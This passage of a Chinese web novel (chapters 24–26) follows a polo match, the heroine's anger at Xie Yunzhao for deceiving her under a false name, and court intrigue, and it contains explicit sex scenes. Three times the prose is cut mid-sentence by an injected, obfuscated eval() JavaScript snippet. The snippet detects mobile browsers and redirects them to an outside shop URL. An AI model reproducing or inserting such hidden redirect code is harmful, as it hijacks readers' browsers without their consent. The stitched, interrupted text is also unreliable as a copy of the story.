半个时辰后,紫方终于以十三旗对八旗赢得了胜利,但大家都明白是银白方先前丢了太多分,谢云昭上场之后,实则算是和凌越比了个平手。 如此精彩的对阵,着实大超众人的预期,这样两个相貌身姿都极为出众的男子的对决,更是赏心悦目,男子亭帐那边不知如何,女眷这边一阵又一阵的喝彩欢呼,毫无疑问是给对阵双方的。 等到那意犹未尽的喝彩之声渐渐平息后,凌越与谢云昭便各领着一队人,策马到那高台前,高贽从御座上站起了身,对二人说着什么冠冕堂皇的嘉赏之词。 栖循望着这场面,心里嗤笑一声,她看得清楚,先前凌越独领胜势时,高贽分明都已经黑了脸,直到谢云昭上场,遏制住了凌越一枝独秀的局势,他脸上才起了笑意。 多么讽刺,凌越原本可是想过做忠臣良将的,而谢家自三十年 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14027210|143538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 前已割据一方,反心路人皆知,高贽这昏君却只在意近在眼前的所谓功高震主,非要把人逼反,对远在江南的谢家反倒“亲近”。 没多久,高贽讲完了话,又令内侍宣了赏赐,满意地摆驾回宫了,崇宁看了凌越几眼,也跟在高贽身后一同离开。 接着,栖循便见凌越和谢云昭忽然驰马走近了,谢云昭不知说了什么,凌越似是挑了挑眉,也回了句什么,随后两人对视片刻,各自勒马转身。 亭帐里的贵女们都未舍得离去,毕竟第一次见到相貌昳丽的祁王,还在拿他和凌越做着比较,这一幕自然也落在了她们眼里,一时又有些不同的窃窃私语声响起。 马毬赛的兴奋退去,切身的利益攸关才是真实,她们虽然常年深居后宅,却也大略知道这两个男人的任何举动都会牵扯朝政大局和天下形势。 “循儿?”刘娘子询问的目光看过来,她是刘家的女儿,自然也关心凌越的一举一动。 栖循微微摇头,示意她此地不便多说,又道:“我们先出园,去外头等吧。” 话落,正要从阑槛边走开,余光扫见谢云昭纵马返回,经过她们的亭帐时,他侧头看了一眼,极快的一眼,可栖循瞧得清楚,那双望向自己的含光凤目分明含着笑意…… . 和刘娘子在琼林苑门外分别后,栖循便上了自家的马车,在车内等凌越出来。 这么独自坐了一会儿,因骤然发现裴云晞就是谢云昭的复杂心绪倒是慢慢平静了,刚要仔细回忆五年前去裴家拜访时的情状,眼前忽然一亮,她一抬眼,正与掀开车帘的凌越撞上视线,眉梢不禁扬了扬:“恭喜大将军得胜。” 凌越闻言笑了,道了句“多谢夫人”,也不骑马了,径直进了宽敞的车厢内,在她身边坐下后,戏言:“看来夫人对我今日的表现还算满意?” 栖循心绪虽已平静了,但对自己被谢云昭骗了这么久还是恼火,这时轻哼道:“将军自是比得极好,只是那谢云昭狡诈得很,故意在场下观察了许久才上场,因而对将军的策略早有判断。” 凌越略有些惊讶:“夫人聪明,竟也看出来了,他骑术球技确实皆精,但到底非军中出身,不常玩这消遣,若一开始就与我硬碰硬,必然吃亏。”说完,他又侧首看她,“不过,此人本就善谋略,如此安排倒是个挺聪明的战术,似乎也算不得狡诈?” “怎么不狡诈?”栖循此时也没了为裴云晞保密的必要,直言道,“将军可知,我在半个月前就已经见过这祁王了,就在我名下的景福楼内,但那时他还叫裴云晞。” 凌越没想到还有这一桩,目光一动:“化名裴家幺子,而且早已入了京?” 栖循应是:“他这么安排,必和他入京的目的有关,如今圣寿节已经过去,只怕他还不会这么快回江南。”又问,“对了,方才在御台下,他和将军说什么了?” 凌越墨眸微狭,想起谢云昭当时似认真又似玩笑的神色, “他说我身上有一件极幸运的事,一直叫他很羡慕。” 25.床头打架 “他说我身上有一件极幸运的事,一直叫他很羡慕。” 这话却听得栖循怔了怔:“就这没头没尾的一句么?你可知他指的可能是何事?” 凌越:“不知,本猜测是否与战场上有关,但听夫人说了他提前入京的事,似乎不该这么简单。” 栖循于是用鼻子哼了声:“我说此人狡诈,将军现在信了吧?” 凌越挑了挑眉,觉出她对谢云昭似乎带有某种情绪,以自己对她的了解,她应当大度欣赏几句谢云昭智谋过人,然后自信能与之一斗才对。他没回答,话锋一转,忽然问:“夫人既然半月前就见过他,为何当时没有告诉我?” 栖循顿了顿,不知为何,暂时还不想告诉他五年前曾和谢云昭有过交情的事,于是找了个面上的理由道:“他住在景福楼的天禄院,那院子住价极昂贵,贵的其中一项原因便是我们要为住客的身份行踪保密,我作为主人,没有特别情况,自然也该遵守,而且当时不知他是谢云昭,也就没想到要告诉将军。” “是么?”凌越看了她片刻,“所以那天夫人单独和他见了面?你们说了什么?” 栖循又是一顿,本该问心无愧的,但被他这么一问,莫名有些心虚,感觉合奏的事似乎也不要提的好,“没说什么,就在天禄院的湖边打了个招呼而已,如棠如葵也跟着呢。” 说到这儿,她心里一动,蓦地抬头看他,眸中亮晶晶的,“将军莫不是因为我关心谢云昭的事,所以呷醋了?方才在毬场上,你也是故意针对元表哥吧?” 凌越果然噎了噎,旋即却又笑了一声,侧身抬起她的脸,声低低道:“本将军是呷醋了,夫人要如何补偿我?” 栖循没料到他居然就这么承认了,一时有些惊讶,又隐隐有些兴奋,毕竟眼前的男人可向来是强势的上位者。她正想着要如何回答时,凌越却已经吻了下来。 长长的一吻结束后,她呼吸略为急促,羞恼道:“好好说着事呢,作何突然这样?” 凌越眸色微深:“夫人若还想谈你那表哥和祁王,我也可以再继续。” 栖循:“……” 话虽这么说,其实也不过是小夫妻之间渐渐熟悉了些后的情致,两个说到底都不是会被情爱羁绊的人,所以没一会儿,便又谈起了正事。 这般一炷香后,马车回到了将军府,两人进了门,刚入前厅,如葵上来禀报,言收到了沈贵的回信,栖循于是先回了含章院处理,凌越也自回尧光阁沐浴。 沐浴完,用过了暮食,又处理了因圣寿节而堆积的事务后,凌越负手在案前站了一会儿,想着没多久前一同回来的人,难得起了犹豫。 许是因第一次与年轻女子如此亲近,这段时间,他自觉有些沉湎后宅燕亵,似乎该有所克制了;且有父亲母亲的事在前,感情上,他也不愿太快将叶栖循看得多重,至少现在还太早。 可转念,却又想起白天宫市,她赠剑给自己时的模样……凌越蓦地轻笑了一声,今日就再纵容自己一回吧。 含章院主屋内,如葵小心地将熏笼移开了,又用梳子顺了一遍那缎子般的乌发后,对倚在贵妃榻上的人请示道:“夫人,头发都烘干了,奴婢去取桂花油来擦一擦吧?” 栖循穿着柔软松散的寝衣,正低头看手里的信件,口中随意嗯了一声。 如葵便拿着熏笼出去了,片刻后,又响起从外回来的脚步声,栖循看着信一开始并未在意,直到那脚步声近了,她才惊觉这声音分明沉稳有力,诧异地从信中抬起头。 凌越已信步行至榻前,笑道:“又不是没来过,作什么这般惊讶?” 栖循慢慢坐直身,眨了眨眼,如实说:“今日下午的马毬颇耗体力,我以为将军会早些休息,不会来了呢。” 凌越剑眉微微扬起,垂首看着她,微妙道:“夫人怀疑我的体力?”话落,就见人脸红了。他笑起来,上前在她身旁坐了,将话头扯开,“循儿今日赠宝剑与我,我自然该过来陪你说说话。” 栖循也是说完,才意识到自己那话中的含义,本是极羞耻的,可这会儿男人清冽的气息扑面而来,她一下想起了凌越承认呷醋的事,从下午回来时就潜藏在心底的什么东西,倏地又蠢蠢欲动。 凌越见她不说话,一双水眸却直盯着自己看,不由又扬了扬眉:“嗯?” 这声被刻意压低的“嗯”仿佛清醇的烈酒,带着些说不上来的意味,栖循觉得自己那点蠢蠢欲动本来还在土下,这时却被勾着,一下破土而出,将将压过了心底的羞涩。 决定几乎只是一瞬间的事,她晕红着玉白的脸,忽而伸出双臂搂住了眼前俊美的男人,轻轻道:“将军当真只是来说说话?” 凌越今夜过来,确实更多是温存的意思,并非一定要做什么,却不想她反而这般主动,眸中便暗了些,修长有力的手握住了她寝衣里柔韧的腰肢,“循儿还想做什么?” 栖循感觉自己的心脏因为紧张和兴奋跳得极快,她直接用行动回答——闭上了眼,凑过去吻住了凌越的唇,又学着男人之前的样子,舔了一下,是她喜欢的味道,她含住,试探吮.吸,然后,听到了凌越低沉好听的轻笑声。 脸更烫了,她不管不顾一鼓作气,软舌趁机“狂妄”地侵入他口中,可才刚进去,便被凌越反客为主缠住了,她一顿,随即更紧地搂住了他的脖颈,任唇舌与他肆意交缠厮磨。 二人之前还未有过如此热烈的吻,仿佛要将对方的气息全部攫尽,却仍觉不够。栖循浑身都开始发烫,仰着头喘息急促,柔软的寝衣被凌越用力揉皱了,而后被无情的剥去,微烫的大掌贴了上来,重重抚过……终于,凌越似乎也受不了了,蓦地在栖循唇上咬了一口,而后强健的双臂一把抱起她,径直往拔步床里走去。 被放到床上时,栖循的身子已有些酥软,可在凌越精悍的躯体伏下来时,她还是及时伸手抵住了他的胸膛,紧张地喘着气道:“不要!我、我来。” 凌越眸色愈加浓酽,盯着她看了一会儿,低笑一声,声音已然暗哑:“好。”应完,他便翻身躺下去, 栖循身上的衣物早已被他褪尽,柔腻莹白的肌肤和姣好的曲线,以及曲线上因微微凉意而挺立的鲜嫩红果, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14037181|143538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 全落在他墨黑眼底。 毕竟才有了半月的肌.肤之亲,前些次,栖循最羞被他这样目光灼灼地细瞧,可今夜的心思却不同,她忍着强烈的羞耻,慢慢跨坐到坚硬紧实的腰腹上,一双有力大掌立刻扶了上来,楚腰随之轻颤,而后蓦地摇动。 栖循听到身下凌越闷哼了一声,心里涌上一种不同与前几次的别样快乐。前几次都是凌越完全掌控一切,即使她在上面时亦不例外,这个男人习惯了强势,习惯了强硬霸道地让她臣服,而她的身体和感受也确实在他的绝对能力面前毫无反击之力,每每“一败涂地”。 可今日她发现,即便凌越心里爱着其他女人,自己对他的一点吸引力却仍足以牵动他的情绪,足以让他在意,这个发现叫她觉得兴奋,叫她也想掌控他一回,想看他彻底失控,想看他和自己一样“一败涂地”地臣服。 “可以了。”凌越握着她的腰,声音愈加沉哑。 栖循慢慢抬起了身子,又一寸寸艰难沉下,忍过最初那满满当当的酸涨后,微微仰起了秀致雪白的颈子。 烛火映照在薄薄的纱帐上,明暗加错,曼妙玲珑的女子身姿在摇动起落,一双纤秀的手覆在修长的大掌上,游搦于丘陵巫峰之间。 屋外似乎起了秋风,带起阵阵沙沙叶声,帐内也渐渐响起了急促的喘息声和破碎呻.吟,声音愈来愈急,伴着愈来愈明显的滑腻水声,仿佛药杵陷入润湿紧致的花心,于严丝合缝间推挤出激烈的泡沫。 栖循觉得好热,整个帐子里仿佛都氤氲着化不开的热,她又低头去看凌越,男人的墨眸愈加幽黑,绷紧的下颌滚落汗珠,视线相触时,她蓦地用力,他沉哼一声,绷如铁板一般的腰腹却更加凶悍。 栖循咬紧胭红的唇,忍着体内堆叠奔涌的潮,她从来没有这样卖力过,她就不信不能让这个男人…… “嗯——” “你、你做什么?” 忽然,她惊呼一声,人已猝不及防被凌越抱着翻转一圈,重重压倒在了床榻上。 “该我问,循儿想做什么?”凌越覆下来,声音比以往更沉更哑,腰腹一送,随即矫健不歇。 栖循于强烈的快活中气恼无比,她知道凌越感觉出来了,感觉到她想掌控他,而刚刚就差一点,她就要让他失控了,就要让他臣服了,就差一点,“你就、就不能让我一回吗?” 凌越扣着她的指缝,猛地按到床榻上,身下用力碾了碾,哑声道:“其他事可以让,这件事,我来只会让你更舒服。” 霸道!根本不给她商量的余地。栖循更气了,试图挣扎着换回位置,可她早已被撞得筋骨酥软,这点力气在凌越面前就和挠痒痒似的。恼不过,她索性就着这般姿势,倏地咬紧了他,上方一下传来一声低沉闷哼,几乎让耳朵也酥麻了。 “呵,循儿可真是……”凌越动作陡然停住,深吸了口气,低笑着俯下身吻她,狠狠吻过后,他立刻抬起身,霍然动作,如劈山凿石。 栖循蓦地拱起腰,哭着承受激烈的狂风骤雨,还想抵抗,可没过多久,便溃不成军,香汗淋漓得落回床铺…… 26.骗子 一夜秋风吹落半院黄叶,也给安静的寝房内添了几分凉意。 栖循半睡半醒间,不自觉地往身侧的热源靠了靠,又靠了靠,而后,一下睁开了眼。 耳畔传来一声轻笑:“醒了?” 紧贴在背上的胸膛没有任何衣物阻隔,坚硬又滚烫,因着笑意微微震动。 栖循抱着锦被,彻底清醒了,帐子里已经颇亮,看着得有辰时了,她微微动了动,低声嘀咕了一句:“……你怎么还在这儿?” 凌越手臂揽在她腰间,吻吻她的耳后:“不在这儿,我该在哪儿?” 栖循没回头,脸仍半埋在温暖的被窝里,不咸不淡地:“将军不是卯时就早起练剑么?” 凌越低低笑了声:“今日是例外,我要是一早走了,循儿岂不是会更生气?” 栖循这才抬起脸,倏地转头看他:“原来将军还知道我生气呢?若是真在意我生不生气,将军昨天就该让着我。” “后来不是又让你在上面了?”凌越抚了抚手中的柳腰,语气中带上些许宠溺,“怎么还不高兴?” 栖循转回头,看着内侧的床帐:“你心里明知道不一样。”那是完全由凌越掌握的节奏,由他决定的开始、结束与辗转缠绵。 凌越的手顿了片刻,又伸过去,将她的脸捧回来,看着她笑问:“昨夜那样,循儿难道不够舒服不够快活么?” 栖循与他四目相对着,被这般直接的话语问得略有些脸热,唇动了动,却又抿住了,快活当然是快活,凌越这样的男人大约能让任何一个女人快活得如同登仙,可是…… 她没作声,但凌越自是知道答案的,怀中女子在那时美到极致的模样和一次次泛滥的春潮就是最好的证明,他手放开她的下颌,转而搂紧了她问:“既然如此,循儿还想要什么呢?” 栖循看着他,怔了怔,还想要什么?难道只是一方床榻的掌控权吗?自然不是。 仔细深究的话,大约是因为凌越太过出色,而让这样一个出色的男人臣服于自己,为自己失控,即使只是在床榻之上,也足够让人兴奋,甚至他越强势霸道,那种兴奋便越强烈。 以及,大概还有一些对这个男人到底不属于自己的那点遗憾的弥补。 不过栖循现在已经很清楚了,无论何时,凌越都不会臣服,这个男人永远只做上位者和主宰者。 她垂下眼,轻哼道:“没想要什么,不过是想看看将军愿不愿意体贴我而已。” 凌越看着她低掩的眼睫,心里似有所觉,想起了昨天来之前考虑过的那些,有些事现在是还太早,可只要她一直好好地在自己身边,自然会有水到渠成的一天,到时,她想要的,他都可以给。 这般想着,他笑了笑,决定从其他方面先补偿她,大手慢慢从柳腰往上抚了去:“还想我怎样体贴,这样么?” “当然不是嗯——”被他故意岔到歪路上,栖循脸微红,刚想反驳,却又变成低吟。 帐内气氛顿时旖旎起来。这男人现在越来越了解她,甚至比她自己还了解这身子,很快她便想不了那些有的没的了。 柔软的雪团被用力捏握成各种形状,敏感的朱果亦被修长的手指肆意揉搓拉扯,凌越从染了浅绯的耳尖慢慢往下,啄吻白皙的颈线,然后蓦地,沉入被中。 栖循一下被他翻成了仰躺,双眸慢慢蒙上了雾,望着帐顶,咬唇努力抑住口中的声音,可没一会儿,她便惊喘一声,轻轻嘤咛:“别、别咬我……”手却仍紧紧抱着他,挺身直往他口中送。 凌越愈加肆无忌惮,等人绷住了身,忍不住用腿摩挲自己,才笑着从被中钻出来,叼住微肿的丹唇又是一番蹂.躏后,浓浓盯着那双漂亮雾眼:“体贴吗?喜欢吗?” 栖循脸红红地,与他较劲:“还行。” 凌越弯唇,又啄一下,声压得更低:“想要了?” “……没有,不想!”栖循耳朵发着烫不承认,伸手胡乱推他胸膛,“你起开,我要梳洗去了。” 凌越却压制住她,手下去探娇嫩煺心,一片湿腻,“都这样了,还骗我?”他笑起来,不由分说又将人摆成侧躺的姿势,从后面覆上去,他早已勃.发,很容易便滑了进去。 昨夜数次的余韵还在身体里,栖循根本抵抗不住,抓着他在各处点火的手,被顶得直往床头去,她下意识喊了一声“将军”。 凌越听到,身下动作微顿了顿,埋首过去吻着那扬起的下颌,哑声问:“为何不唤我九渊?” 除了半月前浴池那一次,栖循确实没再喊过他的字,总觉得叫表字过于亲近,她想只有两情相悦才合适,既然不打算和凌越有情爱纠葛,也就没必要那样叫他。可这种时候他想听的话,她也不介意叫给他听。 于是,裹着细碎的呻/吟,她喃喃唤了两声“九渊”,身后男人的呼吸和动作一下都重了起来。 越来越契合的身体,狠而激烈的冲撞,带着强烈灼人的渴望,仿佛要把床架子摇散了,栖循微启着口急喘、娇吟,几乎被弄得失了神,脑海中一片混沌快意。 也没什么可遗憾的,模模糊糊间,她想,一个男人而已,他不愿意“臣服”,以后,她也大可以找其他的。 背后宽阔结实的胸膛愈加滚烫,她闭上眼,渐渐受不住凌越的入侵,任由一声破碎惊叫溢出了口。 现在就只管享受吧…… . 荒唐一夜,早上又被凌越强按着两回,等到起身后,栖循就觉得腿软腰酸,再想想凌越走时精神焕发的样子,不由有些暗恼,果然没必要替这男人担心体力。 梳洗完,略用了点吃食,她便卧到榻上,唤来如葵给自己按腰,心里开始琢磨昨天收到的赵贵送来的消息。 前些日子,她让赵贵查了两件事,第一件便是苗疆怪医四年前被救的事,眼下这件事已有了结果,郧国公徐光庭四年前确实去过一趟建康,据说是去和谢家联合剿匪的,因规模不大,并未通报朝廷,是以知道的人并不多,但去的时间和苗疆怪医被救完全契合上了。 栖循原本因苗疆怪医在江南被救,而略有怀疑崇宁和李如岳背后的“主人”也可能是谢云昭,但又实在找不出谢云昭和崇宁、李如岳及甄家的关联,且她也不认为谢云昭这几年有精力在遥远的京城布这么深的局,现在这个消息算是佐证了她的想法,“主人”极大可能还是徐光庭。 这么一来,整件事也就更说得通了。 如今这天下虽然各方势力并起,但已成大气候且在京中有一定根基的,也就是掌着山淮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14062432|143538||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十三州的徐光庭、江南的谢家,以及事实上统领北军的凌越。又因地形原因,江南谢家多年来一直自己玩自己的,而北面则不同,一旦大殷倾覆,同在北方的徐光庭和凌越将会是最直接的对手,谁能拿下整个北方,才有可能收复南面,进而取得天下。 是以,徐光庭大约是除高贽外最想除掉凌越的人。 而山淮辖内的甄家为了家族利益,早已依附了徐光庭,尚书令李如岳娶了甄家嫡女后,想必也做了利益比较,选择和妻子家族一起投靠了徐光庭。之后夫妇二人便利用甄贵妃死后,崇宁对他们和母家的信任,设计了赏菊宴上的春药计,借高贽的刀杀人。 且他们也知普通的春药对凌越这样自制力极强的人没用,所以才用上了徐光庭因救苗疆怪医所得的犀灵香。 可惜,凌越的忍耐力和武力都超过了他们的预期,又有栖循自己的协助,这计没成。 接下来,杨珪和杨景达父子利用崇宁的新阴谋,大约还是少不了李如岳和徐光庭背后的推波助澜。 ——这些都是早上凌越走前,两人一起分析过的,栖循已命京内外的眼线仔细留意崇宁、杨家父子、李如岳夫妇和高贽徐光庭的动静,凌越也会让周刘两家仔细做安排,并且他已派了人给在北边的谋士崔耀卿送信,让崔耀卿按他命令秘密回京。 不过,凌越只告诉她给崔耀卿写了信,信中究竟是何命令,却没有细说。这大概也是凌越现在对她最直观的态度,信任了九成九,却还是留一分警惕。 栖循对此已经满意,并且很欣赏凌越的这分警惕。 让沈贵查的第二件事,则是裴云晞的事。当时栖循还不知道京城里的裴云晞就是谢云昭,因此以为裴云晞这些年一直在装病,现在沈贵的消息回来了——真正的裴云晞人还在建康,且确实还病着。 也即是说,栖循被谢云昭骗得彻底,亏她还傻子似地帮他保密行踪。 栖循生气,气的是五年前的欺骗。说实话,那时她虽然只在裴家住了三天,但那三天在她心里一直是很美好的记忆,跟着如梦如幻的美貌少年学音律,和天籁般的琴音合奏,想尽办法终于逗得那厌世的少年一笑……她用了十分的真诚和热情与他相处,却从头到尾是个骗局! 最可恶的是,因那美少年只有提起谢云昭时,才有鲜活一点的反应,所以栖循投其所好,和他说了许多自己道听途说的关于谢云昭的事,还依此对谢云昭这人做了深度剖析——可原来竟是当着本人的面剖析本人呢! 那少年还煞有介事地回应她——“是吗?”、“你怎么知道?”、“你见过他?”…… 他确实被自己逗笑过几回,只是那笑,恐怕是嘲笑吧? “骗子!”栖循越想越气,倏地从榻上坐了起来。 如葵被吓了一跳,连忙拿开按揉的手:“夫人,怎么了?谁惹您了?” 栖循没回答,趿上软缎鞋,在屋里来来回回踱起步来,好一会儿,才终于压下心头的恼意,忽地转身:“帮我研磨。” 不消多久,信已写完,等墨迹干了,她折进信封里交给如葵:“送去玉露楼。” 谢云昭既然喜爱音律,那就让最善音律的人去接近他。 被骗了两回了,可不能被他骗第三回。